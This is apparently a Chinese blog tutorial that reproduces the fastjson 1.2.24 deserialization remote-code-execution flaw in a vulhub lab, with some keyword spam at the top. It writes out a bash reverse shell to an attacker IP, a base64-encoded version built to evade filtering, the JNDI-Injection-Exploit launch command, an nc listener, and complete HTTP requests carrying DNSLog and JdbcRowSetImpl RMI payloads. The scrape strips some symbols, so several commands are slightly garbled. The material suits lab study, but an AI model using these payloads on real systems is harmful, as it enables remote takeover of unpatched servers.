厦门网站制作网站建设收费,google网站,网页制作工具可以分为,无障碍网站建设推广前景前言#xff1a;
看了很多别人关于漏洞复现过程#xff0c;很多博客过程简洁#xff0c;有的过程过于复杂#xff0c;比如看到写java代码#xff0c;用javac进行编译等等。所以我想写出比较详细的漏洞复现过程。
一#xff0c;漏洞介绍
1-1 fastjson是什么
fastjson是…前言
看了很多别人关于漏洞复现过程很多博客过程简洁有的过程过于复杂比如看到写java代码用javac进行编译等等。所以我想写出比较详细的漏洞复现过程。
一漏洞介绍
1-1 fastjson是什么
fastjson是阿里巴巴的开源JSON解析库它可以解析JSON格式的字符串支持将Java Bean序列化为JSON字符串也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串这样得到字符串之后就可以通过数据库等方式进行持久化了 1-2 影响版本 fastjson 1.2.24 二靶场搭建 靶场主机kali2023 192.168.31.150 基于vulhub靶场搭建靶场可以在github上下载或留言 lscd vulhub-mastercd fastjsoncd 1.2.24-rce 启动靶场需要dokcer环境安装docker请参考下面这篇文章
docker及docker命令详解_ANii_Aini的博客-CSDN博客docker及docker命令详解docker是一个软件是一个运行与linux和windows上的软件用于创建、管理和编排容器docker平台就是一个软件集装箱化平台是一个开源的应用容器引擎让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中也可以实现虚拟化并且容器之间不会有任何接口https://blog.csdn.net/m0_67844671/article/details/132872790?spm1001.2014.3001.5502docker装完成以后就可以用docker命令启动靶场了在1.2.24-rce目录下执行
docker-compose up -d 可以查看一下启动的容器
docker ps 成功启动靶场了把靶场镜像的 8090端口映射到了本地8090端口浏览器进行访问 看到此页面说明靶场搭建完毕
三漏洞利用
3-1 漏洞验证
先用dnslog外带方式验证一下漏洞存不存在 dnslog地址 DNSLog PlatformDNSLog平台http://www.dnslog.cn/ 记住给的这个域名 然后对下面的192.168.31.150页面抓包 源数据包如下 修改数据包 请求方式GET改成POST 加上Content-Type:application/json 请求头字段 加请求体数据内容如下 {a:{type:java.net.Inet4Address,val:申请的域名}
}
修改后的请求包如下
POST / HTTP/1.1
Host: 192.168.31.150:8090
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9,en-US;q0.8,en;q0.7
Content-Type:application/json
Connection: close
Content-Length: 84{a:{type:java.net.Inet4Address,val:1ys8oo.dnslog.cn}
}点击发送 再刷新dnslog页面查看有无变化
发现有记录了能收到靶场发来的内容说明存漏洞 3-2 getshell 靶场主机kali2023 192.168.31.150 攻击机1kali2022 192.168.31.20 攻击机2kali2023 192.168.31.160 工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具下载地址 https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0 3-2-1 getshell思路图解 3-2-2 搭建JNDI服务器
2-1 准备反向木马
先准备连接攻击机2的反向木马192.168.31.160/4444
bash -i /dev/tcp/192.168.31.160/4444 01
2-2 对木马进行base64编码 编码是常见做法比较保险因为目标服务器可能会对/ 等符号进行过滤编码可以绕过这些问题 推荐大家一个网站用这个网站去编码很方便
Runtime.exec Payload Generater | AresXs BlogThere is no descriptionhttps://ares-x.com/tools/runtime-exec 得到了编码以后的结果为
bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE2MC80NDQ0IDAJjEK}|{base64,-d}|{bash,-i} 2-3 启动JNDI服务器
把下载好的工具放到攻击机1上启动服务器用以下命令 避坑用kali2022或以下的主机运行由于jdk版本问题kali2023后面会报错会出问题 中间部分是准备编码后的木马内容最后是攻击机1的IP地址 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE2MC80NDQ0IDAJjEK}|{base64,-d}|{bash,-i} -A 192.168.31.20运行成功后如下图 看到的紫色的是生成的payload过一会修改数据包的时候要用 3-2-3 攻击机2监听端口
攻击机2监听4444端口等待靶场连接
nc -lvvp 4444 3-2-4 抓包改包发包
4-1 抓包 4-2 改包 请求方式GET改成POST 加上Content-Type:application/json 请求头字段 加请求体数据内容如下 注意替换payload
{b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://192.168.31.20:1099/j9ml3s,autoCommit:true}
} 修改后的完整数据包如下
POST / HTTP/1.1
Host: 192.168.31.150:8090
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9,en-US;q0.8,en;q0.7
Content-Type:application/json
Connection: close
Content-Length: 164{b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://192.168.31.20:1099/j9ml3s,autoCommit:true}
}
3-2-5 发包 发完以后回来查看攻击机1和攻击机2
攻击机1发现靶场确实去攻击机1这里来拿木马文件了 闭坑如果你报了如下错误请换个jdk版本或者换个主机kali2022比较合适 攻击机2发现连接成功了既getshell了 漏洞复现及利用过程到此结束
如果想复现更多常见漏洞可以看看我写的其他漏洞复现博客超详细
如果有疑问有问题或者需要工具请留言
欢迎留言技术研究讨论